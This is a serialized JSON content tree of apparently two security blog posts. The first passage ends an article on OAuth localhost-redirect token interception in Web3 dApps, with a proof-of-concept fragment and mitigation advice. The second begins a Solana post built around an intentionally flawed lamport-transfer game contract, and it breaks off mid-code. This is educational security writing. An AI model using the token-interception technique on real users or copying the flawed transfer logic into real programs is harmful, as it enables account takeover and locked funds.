+",{"type":23,"tag":141,"props":69520,"children":69521},{"style":828},[69522],{"type":29,"value":69523},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":141,"props":69525,"children":69526},{"class":143,"line":22283},[69527],{"type":23,"tag":141,"props":69528,"children":69529},{"style":154},[69530],{"type":29,"value":69531}," }\n",{"type":23,"tag":141,"props":69533,"children":69534},{"class":143,"line":22316},[69535],{"type":23,"tag":141,"props":69536,"children":69537},{"style":154},[69538],{"type":29,"value":69461},{"type":23,"tag":141,"props":69540,"children":69541},{"class":143,"line":22324},[69542],{"type":23,"tag":141,"props":69543,"children":69544},{"style":154},[69545],{"type":29,"value":69546}," }\n",{"type":23,"tag":141,"props":69548,"children":69549},{"class":143,"line":22332},[69550],{"type":23,"tag":141,"props":69551,"children":69552},{"style":154},[69553],{"type":29,"value":69554}," }\n",{"type":23,"tag":141,"props":69556,"children":69557},{"class":143,"line":22341},[69558],{"type":23,"tag":141,"props":69559,"children":69560},{"style":154},[69561],{"type":29,"value":57365},{"type":23,"tag":141,"props":69563,"children":69564},{"class":143,"line":22417},[69565,69570,69575,69580,69584,69588],{"type":23,"tag":141,"props":69566,"children":69567},{"style":154},[69568],{"type":29,"value":69569}," }.",{"type":23,"tag":141,"props":69571,"children":69572},{"style":184},[69573],{"type":29,"value":69574},"start",{"type":23,"tag":141,"props":69576,"children":69577},{"style":154},[69578],{"type":29,"value":69579},"(wait ",{"type":23,"tag":141,"props":69581,"children":69582},{"style":160},[69583],{"type":29,"value":1377},{"type":23,"tag":141,"props":69585,"children":69586},{"style":449},[69587],{"type":29,"value":11148},{"type":23,"tag":141,"props":69589,"children":69590},{"style":154},[69591],{"type":29,"value":758},{"type":23,"tag":141,"props":69593,"children":69594},{"class":143,"line":22450},[69595],{"type":23,"tag":141,"props":69596,"children":69597},{"style":154},[69598],{"type":29,"value":299},{"type":23,"tag":141,"props":69600,"children":69601},{"class":143,"line":22458},[69602],{"type":23,"tag":141,"props":69603,"children":69604},{"style":154},[69605],{"type":29,"value":2573},{"type":23,"tag":32,"props":69607,"children":69608},{},[69609],{"type":29,"value":69610},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":32,"props":69612,"children":69613},{},[69614],{"type":29,"value":69615},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":8287,"props":69617,"children":69619},{"id":69618},"mitigation-1",[69620],{"type":29,"value":38808},{"type":23,"tag":32,"props":69622,"children":69623},{},[69624,69626,69631],{"type":29,"value":69625},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":38,"props":69627,"children":69629},{"className":69628},[],[69630],{"type":29,"value":68248},{"type":29,"value":69632}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":24,"props":69634,"children":69635},{"id":27618},[69636],{"type":29,"value":17618},{"type":23,"tag":32,"props":69638,"children":69639},{},[69640],{"type":29,"value":69641},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":32,"props":69643,"children":69644},{},[69645],{"type":29,"value":69646},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":1508,"props":69648,"children":69649},{},[69650],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":69652},[69653,69660,69665,69668],{"id":68016,"depth":180,"text":68019,"children":69654},[69655,69656,69657,69658,69659],{"id":68027,"depth":205,"text":68030},{"id":68054,"depth":205,"text":68057},{"id":68115,"depth":205,"text":68118},{"id":68172,"depth":205,"text":68175},{"id":68271,"depth":205,"text":68274},{"id":68317,"depth":180,"text":68320,"children":69661},[69662,69663,69664],{"id":68323,"depth":205,"text":68326},{"id":68350,"depth":205,"text":68353},{"id":38805,"depth":205,"text":38808},{"id":68799,"depth":180,"text":68802,"children":69666},[69667],{"id":69618,"depth":205,"text":38808},{"id":27618,"depth":180,"text":17618},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":69673,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":69674,"description":69675,"author":38924,"image":69676,"date":69678,"isFeatured":15,"tags":69679,"onBlogPage":15,"body":69680,"_type":1522,"_id":74334,"_source":1524,"_file":74335,"_stem":74336,"_extension":1527},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":69677,"height":13,"width":13},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[1539],{"type":20,"children":69681,"toc":74323},[69682,69686,69691,69705,69711,69716,69746,69751,69756,70794,70799,70807,70812,70818,70824,70836,70869,70881,70894,70906,71351,71356,71402,71408,71413,71500,71505,71519,71532,72195,72200,72212,72218,72229,72241,72395,72409,72428,72449,72455,72460,72805,72810,72816,72835,72849,73471,73476,73496,73501,73506,73512,73524,73545,73720,73726,73731,74032,74053,74065,74077,74161,74181,74193,74199,74211,74217,74222,74245,74257,74263,74275,74280,74286,74291,74296,74314,74319],{"type":23,"tag":24,"props":69683,"children":69684},{"id":26},[69685],{"type":29,"value":30},{"type":23,"tag":32,"props":69687,"children":69688},{},[69689],{"type":29,"value":69690},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":32,"props":69692,"children":69693},{},[69694,69696,69703],{"type":29,"value":69695},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":55,"props":69697,"children":69700},{"href":69698,"rel":69699},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[59],[69701],{"type":29,"value":69702},"King of the Ether",{"type":29,"value":69704},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":24,"props":69706,"children":69708},{"id":69707},"the-game-king-of-the-sol",[69709],{"type":29,"value":69710},"The Game: King of the SOL",{"type":23,"tag":32,"props":69712,"children":69713},{},[69714],{"type":29,"value":69715},"The game works like this:",{"type":23,"tag":15362,"props":69717,"children":69718},{},[69719,69731,69736,69741],{"type":23,"tag":120,"props":69720,"children":69721},{},[69722,69724,69729],{"type":29,"value":69723},"Anyone can become the ",{"type":23,"tag":3998,"props":69725,"children":69726},{},[69727],{"type":29,"value":69728},"king",{"type":29,"value":69730}," by bidding at least 2× the previous bid.",{"type":23,"tag":120,"props":69732,"children":69733},{},[69734],{"type":29,"value":69735},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":120,"props":69737,"children":69738},{},[69739],{"type":29,"value":69740},"The remaining 5% goes into a prize pot.",{"type":23,"tag":120,"props":69742,"children":69743},{},[69744],{"type":29,"value":69745},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":32,"props":69747,"children":69748},{},[69749],{"type":29,"value":69750},"Simple, right?",{"type":23,"tag":32,"props":69752,"children":69753},{},[69754],{"type":29,"value":69755},"This is the core logic:",{"type":23,"tag":131,"props":69757,"children":69759},{"className":1639,"code":69758,"language":1638,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n #[account(mut)]\n pub throne: Account\u003C'info, Throne>,\n\n /// CHECK: old_king gets a 95% refund, so ensure its writable.\n #[account(mut, constraint = old_king.key() == throne.king)]\n pub old_king: AccountInfo\u003C'info>,\n\n /// CHECK: any writable account is allowed as a new king.\n #[account(mut)]\n pub new_king: AccountInfo\u003C'info>,\n\n #[account(mut)]\n pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n // Check that bid_amount is at least 2x last_bid_amount\n assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n transfer_from_signer(\n &ctx.accounts.payer,\n &ctx.accounts.throne.to_account_info(),\n bid_amount,\n )?;\n\n // Reimburse 95% of the last bid to the old king\n let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n\n // Set new king\n ctx.accounts.throne.king = ctx.accounts.new_king.key();\n ctx.accounts.throne.last_bid_amount = bid_amount;\n ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n Ok(())\n }\n}\n",[69760],{"type":23,"tag":38,"props":69761,"children":69762},{"__ignoreMap":7},[69763,69778,69806,69821,69862,69869,69877,69928,69959,69966,69974,69989,70021,70028,70043,70074,70081,70088,70096,70113,70187,70195,70256,70268,70296,70336,70348,70364,70371,70379,70453,70465,70504,70532,70544,70559,70566,70574,70644,70688,70762,70769,70780,70787],{"type":23,"tag":141,"props":69764,"children":69765},{"class":143,"line":144},[69766,69770,69774],{"type":23,"tag":141,"props":69767,"children":69768},{"style":154},[69769],{"type":29,"value":21509},{"type":23,"tag":141,"props":69771,"children":69772},{"style":725},[69773],{"type":29,"value":21514},{"type":23,"tag":141,"props":69775,"children":69776},{"style":154},[69777],{"type":29,"value":18930},{"type":23,"tag":141,"props":69779,"children":69780},{"class":143,"line":180},[69781,69785,69789,69794,69798,69802],{"type":23,"tag":141,"props":69782,"children":69783},{"style":449},[69784],{"type":29,"value":12368},{"type":23,"tag":141,"props":69786,"children":69787},{"style":449},[69788],{"type":29,"value":19823},{"type":23,"tag":141,"props":69790,"children":69791},{"style":725},[69792],{"type":29,"value":69793}," ChangeKing",{"type":23,"tag":141,"props":69795,"children":69796},{"style":154},[69797],{"type":29,"value":21594},{"type":23,"tag":141,"props":69799,"children":69800},{"style":725},[69801],{"type":29,"value":21599},{"type":23,"tag":141,"props":69803,"children":69804},{"style":154},[69805],{"type":29,"value":5955},{"type":23,"tag":141,"props":69807,"children":69808},{"class":143,"line":205},[69809,69813,69817],{"type":23,"tag":141,"props":69810,"children":69811},{"style":154},[69812],{"type":29,"value":21801},{"type":23,"tag":141,"props":69814,"children":69815},{"style":449},[69816],{"type":29,"value":2389},{"type":23,"tag":141,"props":69818,"children":69819},{"style":154},[69820],{"type":29,"value":18930},{"type":23,"tag":141,"props":69822,"children":69823},{"class":143,"line":218},[69824,69828,69833,69837,69841,69845,69849,69853,69858],{"type":23,"tag":141,"props":69825,"children":69826},{"style":449},[69827],{"type":29,"value":19515},{"type":23,"tag":141,"props":69829,"children":69830},{"style":750},[69831],{"type":29,"value":69832}," throne",{"type":23,"tag":141,"props":69834,"children":69835},{"style":160},[69836],{"type":29,"value":114},{"type":23,"tag":141,"props":69838,"children":69839},{"style":725},[69840],{"type":29,"value":21766},{"type":23,"tag":141,"props":69842,"children":69843},{"style":154},[69844],{"type":29,"value":21594},{"type":23,"tag":141,"props":69846,"children":69847},{"style":725},[69848],{"type":29,"value":21599},{"type":23,"tag":141,"props":69850,"children":69851},{"style":154},[69852],{"type":29,"value":480},{"type":23,"tag":141,"props":69854,"children":69855},{"style":725},[69856],{"type":29,"value":69857},"Throne",{"type":23,"tag":141,"props":69859,"children":69860},{"style":154},[69861],{"type":29,"value":4812},{"type":23,"tag":141,"props":69863,"children":69864},{"class":143,"line":227},[69865],{"type":23,"tag":141,"props":69866,"children":69867},{"emptyLinePlaceholder":15},[69868],{"type":29,"value":719},{"type":23,"tag":141,"props":69870,"children":69871},{"class":143,"line":241},[69872],{"type":23,"tag":141,"props":69873,"children":69874},{"style":443},[69875],{"type":29,"value":69876}," /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":141,"props":69878,"children":69879},{"class":143,"line":262},[69880,69884,69888,69893,69897,69902,69906,69911,69915,69919,69923],{"type":23,"tag":141,"props":69881,"children":69882},{"style":154},[69883],{"type":29,"value":21801},{"type":23,"tag":141,"props":69885,"children":69886},{"style":449},[69887],{"type":29,"value":2389},{"type":23,"tag":141,"props":69889,"children":69890},{"style":154},[69891],{"type":29,"value":69892},", constraint ",{"type":23,"tag":141,"props":69894,"children":69895},{"style":160},[69896],{"type":29,"value":1377},{"type":23,"tag":141,"props":69898,"children":69899},{"style":154},[69900],{"type":29,"value":69901}," old_king",{"type":23,"tag":141,"props":69903,"children":69904},{"style":160},[69905],{"type":29,"value":322},{"type":23,"tag":141,"props":69907,"children":69908},{"style":154},[69909],{"type":29,"value":69910},"key() ",{"type":23,"tag":141,"props":69912,"children":69913},{"style":160},[69914],{"type":29,"value":7251},{"type":23,"tag":141,"props":69916,"children":69917},{"style":154},[69918],{"type":29,"value":69832},{"type":23,"tag":141,"props":69920,"children":69921},{"style":160},[69922],{"type":29,"value":322},{"type":23,"tag":141,"props":69924,"children":69925},{"style":154},[69926],{"type":29,"value":69927},"king)]\n",{"type":23,"tag":141,"props":69929,"children":69930},{"class":143,"line":271},[69931,69935,69939,69943,69947,69951,69955],{"type":23,"tag":141,"props":69932,"children":69933},{"style":449},[69934],{"type":29,"value":19515},{"type":23,"tag":141,"props":69936,"children":69937},{"style":750},[69938],{"type":29,"value":69901},{"type":23,"tag":141,"props":69940,"children":69941},{"style":160},[69942],{"type":29,"value":114},{"type":23,"tag":141,"props":69944,"children":69945},{"style":725},[69946],{"type":29,"value":24082},{"type":23,"tag":141,"props":69948,"children":69949},{"style":154},[69950],{"type":29,"value":21594},{"type":23,"tag":141,"props":69952,"children":69953},{"style":725},[69954],{"type":29,"value":21599},{"type":23,"tag":141,"props":69956,"children":69957},{"style":154},[69958],{"type":29,"value":4812},{"type":23,"tag":141,"props":69960,"children":69961},{"class":143,"line":293},[69962],{"type":23,"tag":141,"props":69963,"children":69964},{"emptyLinePlaceholder":15},[69965],{"type":29,"value":719},{"type":23,"tag":141,"props":69967,"children":69968},{"class":143,"line":801},[69969],{"type":23,"tag":141,"props":69970,"children":69971},{"style":443},[69972],{"type":29,"value":69973}," /// CHECK: any writable account is allowed as a new king.\n",{"type":23,"tag":141,"props":69975,"children":69976},{"class":143,"line":810},[69977,69981,69985],{"type":23,"tag":141,"props":69978,"children":69979},{"style":154},[69980],{"type":29,"value":21801},{"type":23,"tag":141,"props":69982,"children":69983},{"style":449},[69984],{"type":29,"value":2389},{"type":23,"tag":141,"props":69986,"children":69987},{"style":154},[69988],{"type":29,"value":18930},{"type":23,"tag":141,"props":69990,"children":69991},{"class":143,"line":824},[69992,69996,70001,70005,70009,70013,70017],{"type":23,"tag":141,"props":69993,"children":69994},{"style":449},[69995],{"type":29,"value":19515},{"type":23,"tag":141,"props":69997,"children":69998},{"style":750},[69999],{"type":29,"value":70000}," new_king",{"type":23,"tag":141,"props":70002,"children":70003},{"style":160},[70004],{"type":29,"value":114},{"type":23,"tag":141,"props":70006,"children":70007},{"style":725},[70008],{"type":29,"value":24082},{"type":23,"tag":141,"props":70010,"children":70011},{"style":154},[70012],{"type":29,"value":21594},{"type":23,"tag":141,"props":70014,"children":70015},{"style":725},[70016],{"type":29,"value":21599},{"type":23,"tag":141,"props":70018,"children":70019},{"style":154},[70020],{"type":29,"value":4812},{"type":23,"tag":141,"props":70022,"children":70023},{"class":143,"line":839},[70024],{"type":23,"tag":141,"props":70025,"children":70026},{"emptyLinePlaceholder":15},[70027],{"type":29,"value":719},{"type":23,"tag":141,"props":70029,"children":70030},{"class":143,"line":848},[70031,70035,70039],{"type":23,"tag":141,"props":70032,"children":70033},{"style":154},[70034],{"type":29,"value":21801},{"type":23,"tag":141,"props":70036,"children":70037},{"style":449},[70038],{"type":29,"value":2389},{"type":23,"tag":141,"props":70040,"children":70041},{"style":154},[70042],{"type":29,"value":18930},{"type":23,"tag":141,"props":70044,"children":70045},{"class":143,"line":2304},[70046,70050,70054,70058,70062,70066,70070],{"type":23,"tag":141,"props":70047,"children":70048},{"style":449},[70049],{"type":29,"value":19515},{"type":23,"tag":141,"props":70051,"children":70052},{"style":750},[70053],{"type":29,"value":40714},{"type":23,"tag":141,"props":70055,"children":70056},{"style":160},[70057],{"type":29,"value":114},{"type":23,"tag":141,"props":70059,"children":70060},{"style":725},[70061],{"type":29,"value":21830},{"type":23,"tag":141,"props":70063,"children":70064},{"style":154},[70065],{"type":29,"value":21594},{"type":23,"tag":141,"props":70067,"children":70068},{"style":725},[70069],{"type":29,"value":21599},{"type":23,"tag":141,"props":70071,"children":70072},{"style":154},[70073],{"type":29,"value":4812},{"type":23,"tag":141,"props":70075,"children":70076},{"class":143,"line":2313},[70077],{"type":23,"tag":141,"props":70078,"children":70079},{"style":154},[70080],{"type":29,"value":2573},{"type":23,"tag":141,"props":70082,"children":70083},{"class":143,"line":2335},[70084],{"type":23,"tag":141,"props":70085,"children":70086},{"emptyLinePlaceholder":15},[70087],{"type":29,"value":719},{"type":23,"tag":141,"props":70089,"children":70090},{"class":143,"line":2343},[70091],{"type":23,"tag":141,"props":70092,"children":70093},{"style":154},[70094],{"type":29,"value":70095},"#[program]\n",{"type":23,"tag":141,"props":70097,"children":70098},{"class":143,"line":2352},[70099,70103,70108],{"type":23,"tag":141,"props":70100,"children":70101},{"style":449},[70102],{"type":29,"value":12368},{"type":23,"tag":141,"props":70104,"children":70105},{"style":449},[70106],{"type":29,"value":70107}," mod",{"type":23,"tag":141,"props":70109,"children":70110},{"style":154},[70111],{"type":29,"value":70112}," king_of_the_sol {\n",{"type":23,"tag":141,"props":70114,"children":70115},{"class":143,"line":2421},[70116,70120,70124,70129,70133,70137,70141,70145,70149,70154,70158,70163,70167,70171,70175,70179,70183],{"type":23,"tag":141,"props":70117,"children":70118},{"style":449},[70119],{"type":29,"value":19515},{"type":23,"tag":141,"props":70121,"children":70122},{"style":449},[70123],{"type":29,"value":12373},{"type":23,"tag":141,"props":70125,"children":70126},{"style":184},[70127],{"type":29,"value":70128}," change_king",{"type":23,"tag":141,"props":70130,"children":70131},{"style":154},[70132],{"type":29,"value":192},{"type":23,"tag":141,"props":70134,"children":70135},{"style":750},[70136],{"type":29,"value":18952},{"type":23,"tag":141,"props":70138,"children":70139},{"style":160},[70140],{"type":29,"value":114},{"type":23,"tag":141,"props":70142,"children":70143},{"style":725},[70144],{"type":29,"value":18961},{"type":23,"tag":141,"props":70146,"children":70147},{"style":154},[70148],{"type":29,"value":4480},{"type":23,"tag":141,"props":70150,"children":70151},{"style":725},[70152],{"type":29,"value":70153},"ChangeKing",{"type":23,"tag":141,"props":70155,"children":70156},{"style":154},[70157],{"type":29,"value":5304},{"type":23,"tag":141,"props":70159,"children":70160},{"style":750},[70161],{"type":29,"value":70162},"bid_amount",{"type":23,"tag":141,"props":70164,"children":70165},{"style":160},[70166],{"type":29,"value":114},{"type":23,"tag":141,"props":70168,"children":70169},{"style":725},[70170],{"type":29,"value":4534},{"type":23,"tag":141,"props":70172,"children":70173},{"style":154},[70174],{"type":29,"value":1748},{"type":23,"tag":141,"props":70176,"children":70177},{"style":160},[70178],{"type":29,"value":12435},{"type":23,"tag":141,"props":70180,"children":70181},{"style":725},[70182],{"type":29,"value":12440},{"type":23,"tag":141,"props":70184,"children":70185},{"style":154},[70186],{"type":29,"value":19003},{"type":23,"tag":141,"props":70188,"children":70189},{"class":143,"line":2429},[70190],{"type":23,"tag":141,"props":70191,"children":70192},{"style":443},[70193],{"type":29,"value":70194}," // Check that bid_amount is at least 2x last_bid_amount\n",{"type":23,"tag":141,"props":70196,"children":70197},{"class":143,"line":2459},[70198,70202,70206,70210,70214,70218,70222,70226,70230,70235,70239,70244,70248,70252],{"type":23,"tag":141,"props":70199,"children":70200},{"style":184},[70201],{"type":29,"value":62929},{"type":23,"tag":141,"props":70203,"children":70204},{"style":154},[70205],{"type":29,"value":192},{"type":23,"tag":141,"props":70207,"children":70208},{"style":750},[70209],{"type":29,"value":70162},{"type":23,"tag":141,"props":70211,"children":70212},{"style":160},[70213],{"type":29,"value":6977},{"type":23,"tag":141,"props":70215,"children":70216},{"style":750},[70217],{"type":29,"value":24527},{"type":23,"tag":141,"props":70219,"children":70220},{"style":160},[70221],{"type":29,"value":322},{"type":23,"tag":141,"props":70223,"children":70224},{"style":154},[70225],{"type":29,"value":13351},{"type":23,"tag":141,"props":70227,"children":70228},{"style":160},[70229],{"type":29,"value":322},{"type":23,"tag":141,"props":70231,"children":70232},{"style":154},[70233],{"type":29,"value":70234},"throne",{"type":23,"tag":141,"props":70236,"children":70237},{"style":160},[70238],{"type":29,"value":322},{"type":23,"tag":141,"props":70240,"children":70241},{"style":154},[70242],{"type":29,"value":70243},"last_bid_amount ",{"type":23,"tag":141,"props":70245,"children":70246},{"style":160},[70247],{"type":29,"value":197},{"type":23,"tag":141,"props":70249,"children":70250},{"style":472},[70251],{"type":29,"value":6609},{"type":23,"tag":141,"props":70253,"children":70254},{"style":154},[70255],{"type":29,"value":2496},{"type":23,"tag":141,"props":70257,"children":70258},{"class":143,"line":2467},[70259,70264],{"type":23,"tag":141,"props":70260,"children":70261},{"style":184},[70262],{"type":29,"value":70263}," transfer_from_signer",{"type":23,"tag":141,"props":70265,"children":70266},{"style":154},[70267],{"type":29,"value":2123},{"type":23,"tag":141,"props":70269,"children":70270},{"class":143,"line":2499},[70271,70275,70279,70283,70287,70291],{"type":23,"tag":141,"props":70272,"children":70273},{"style":160},[70274],{"type":29,"value":6359},{"type":23,"tag":141,"props":70276,"children":70277},{"style":750},[70278],{"type":29,"value":18952},{"type":23,"tag":141,"props":70280,"children":70281},{"style":160},[70282],{"type":29,"value":322},{"type":23,"tag":141,"props":70284,"children":70285},{"style":154},[70286],{"type":29,"value":13351},{"type":23,"tag":141,"props":70288,"children":70289},{"style":160},[70290],{"type":29,"value":322},{"type":23,"tag":141,"props":70292,"children":70293},{"style":154},[70294],{"type":29,"value":70295},"payer,\n",{"type":23,"tag":141,"props":70297,"children":70298},{"class":143,"line":2507},[70299,70303,70307,70311,70315,70319,70323,70327,70332],{"type":23,"tag":141,"props":70300,"children":70301},{"style":160},[70302],{"type":29,"value":6359},{"type":23,"tag":141,"props":70304,"children":70305},{"style":750},[70306],{"type":29,"value":18952},{"type":23,"tag":141,"props":70308,"children":70309},{"style":160},[70310],{"type":29,"value":322},{"type":23,"tag":141,"props":70312,"children":70313},{"style":154},[70314],{"type":29,"value":13351},{"type":23,"tag":141,"props":70316,"children":70317},{"style":160},[70318],{"type":29,"value":322},{"type":23,"tag":141,"props":70320,"children":70321},{"style":154},[70322],{"type":29,"value":70234},{"type":23,"tag":141,"props":70324,"children":70325},{"style":160},[70326],{"type":29,"value":322},{"type":23,"tag":141,"props":70328,"children":70329},{"style":184},[70330],{"type":29,"value":70331},"to_account_info",{"type":23,"tag":141,"props":70333,"children":70334},{"style":154},[70335],{"type":29,"value":2151},{"type":23,"tag":141,"props":70337,"children":70338},{"class":143,"line":2567},[70339,70344],{"type":23,"tag":141,"props":70340,"children":70341},{"style":750},[70342],{"type":29,"value":70343}," bid_amount",{"type":23,"tag":141,"props":70345,"children":70346},{"style":154},[70347],{"type":29,"value":2168},{"type":23,"tag":141,"props":70349,"children":70350},{"class":143,"line":7724},[70351,70356,70360],{"type":23,"tag":141,"props":70352,"children":70353},{"style":154},[70354],{"type":29,"value":70355}," )",{"type":23,"tag":141,"props":70357,"children":70358},{"style":160},[70359],{"type":29,"value":1816},{"type":23,"tag":141,"props":70361,"children":70362},{"style":154},[70363],{"type":29,"value":1684},{"type":23,"tag":141,"props":70365,"children":70366},{"class":143,"line":7742},[70367],{"type":23,"tag":141,"props":70368,"children":70369},{"emptyLinePlaceholder":15},[70370],{"type":29,"value":719},{"type":23,"tag":141,"props":70372,"children":70373},{"class":143,"line":7787},[70374],{"type":23,"tag":141,"props":70375,"children":70376},{"style":443},[70377],{"type":29,"value":70378}," // Reimburse 95% of the last bid to the old king\n",{"type":23,"tag":141,"props":70380,"children":70381},{"class":143,"line":7893},[70382,70386,70391,70395,70399,70403,70407,70411,70415,70419,70423,70427,70431,70436,70440,70444,70449],{"type":23,"tag":141,"props":70383,"children":70384},{"style":449},[70385],{"type":29,"value":1725},{"type":23,"tag":141,"props":70387,"children":70388},{"style":750},[70389],{"type":29,"value":70390}," to_reimburse",{"type":23,"tag":141,"props":70392,"children":70393},{"style":160},[70394],{"type":29,"value":1674},{"type":23,"tag":141,"props":70396,"children":70397},{"style":154},[70398],{"type":29,"value":1220},{"type":23,"tag":141,"props":70400,"children":70401},{"style":750},[70402],{"type":29,"value":18952},{"type":23,"tag":141,"props":70404,"children":70405},{"style":160},[70406],{"type":29,"value":322},{"type":23,"tag":141,"props":70408,"children":70409},{"style":154},[70410],{"type":29,"value":13351},{"type":23,"tag":141,"props":70412,"children":70413},{"style":160},[70414],{"type":29,"value":322},{"type":23,"tag":141,"props":70416,"children":70417},{"style":154},[70418],{"type":29,"value":70234},{"type":23,"tag":141,"props":70420,"children":70421},{"style":160},[70422],{"type":29,"value":322},{"type":23,"tag":141,"props":70424,"children":70425},{"style":154},[70426],{"type":29,"value":70243},{"type":23,"tag":141,"props":70428,"children":70429},{"style":160},[70430],{"type":29,"value":197},{"type":23,"tag":141,"props":70432,"children":70433},{"style":472},[70434],{"type":29,"value":70435}," 9500",{"type":23,"tag":141,"props":70437,"children":70438},{"style":154},[70439],{"type":29,"value":1748},{"type":23,"tag":141,"props":70441,"children":70442},{"style":160},[70443],{"type":29,"value":3255},{"type":23,"tag":141,"props":70445,"children":70446},{"style":472},[70447],{"type":29,"value":70448}," 10000",{"type":23,"tag":141,"props":70450,"children":70451},{"style":154},[70452],{"type":29,"value":1684},{"type":23,"tag":141,"props":70454,"children":70455},{"class":143,"line":22181},[70456,70461],{"type":23,"tag":141,"props":70457,"children":70458},{"style":184},[70459],{"type":29,"value":70460}," transfer_from_pda",{"type":23,"tag":141,"props":70462,"children":70463},{"style":154},[70464],{"type":29,"value":2123},{"type":23,"tag":141,"props":70466,"children":70467},{"class":143,"line":22216},[70468,70472,70476,70480,70484,70488,70492,70496,70500],{"type":23,"tag":141,"props":70469,"children":70470},{"style":160},[70471],{"type":29,"value":6359},{"type":23,"tag":141,"props":70473,"children":70474},{"style":750},[70475],{"type":29,"value":18952},{"type":23,"tag":141,"props":70477,"children":70478},{"style":160},[70479],{"type":29,"value":322},{"type":23,"tag":141,"props":70481,"children":70482},{"style":154},[70483],{"type":29,"value":13351},{"type":23,"tag":141,"props":70485,"children":70486},{"style":160},[70487],{"type":29,"value":322},{"type":23,"tag":141,"props":70489,"children":70490},{"style":154},[70491],{"type":29,"value":70234},{"type":23,"tag":141,"props":70493,"children":70494},{"style":160},[70495],{"type":29,"value":322},{"type":23,"tag":141,"props":70497,"children":70498},{"style":184},[70499],{"type":29,"value":70331},{"type":23,"tag":141,"props":70501,"children":70502},{"style":154},[70503],{"type":29,"value":2151},{"type":23,"tag":141,"props":70505,"children":70506},{"class":143,"line":22224},[70507,70511,70515,70519,70523,70527],{"type":23,"tag":141,"props":70508,"children":70509},{"style":160},[70510],{"type":29,"value":6359},{"type":23,"tag":141,"props":70512,"children":70513},{"style":750},[70514],{"type":29,"value":18952},{"type":23,"tag":141,"props":70516,"children":70517},{"style":160},[70518],{"type":29,"value":322},{"type":23,"tag":141,"props":70520,"children":70521},{"style":154},[70522],{"type":29,"value":13351},{"type":23,"tag":141,"props":70524,"children":70525},{"style":160},[70526],{"type":29,"value":322},{"type":23,"tag":141,"props":70528,"children":70529},{"style":154},[70530],{"type":29,"value":70531},"old_king,\n",{"type":23,"tag":141,"props":70533,"children":70534},{"class":143,"line":22232},[70535,70540],{"type":23,"tag":141,"props":70536,"children":70537},{"style":750},[70538],{"type":29,"value":70539}," to_reimburse",{"type":23,"tag":141,"props":70541,"children":70542},{"style":154},[70543],{"type":29,"value":2168},{"type":23,"tag":141,"props":70545,"children":70546},{"class":143,"line":22241},[70547,70551,70555],{"type":23,"tag":141,"props":70548,"children":70549},{"style":154},[70550],{"type":29,"value":70355},{"type":23,"tag":141,"props":70552,"children":70553},{"style":160},[70554],{"type":29,"value":1816},{"type":23,"tag":141,"props":70556,"children":70557},{"style":154},[70558],{"type":29,"value":1684},{"type":23,"tag":141,"props":70560,"children":70561},{"class":143,"line":22283},[70562],{"type":23,"tag":141,"props":70563,"children":70564},{"emptyLinePlaceholder":15},[70565],{"type":29,"value":719},{"type":23,"tag":141,"props":70567,"children":70568},{"class":143,"line":22316},[70569],{"type":23,"tag":141,"props":70570,"children":70571},{"style":443},[70572],{"type":29,"value":70573}," // Set new 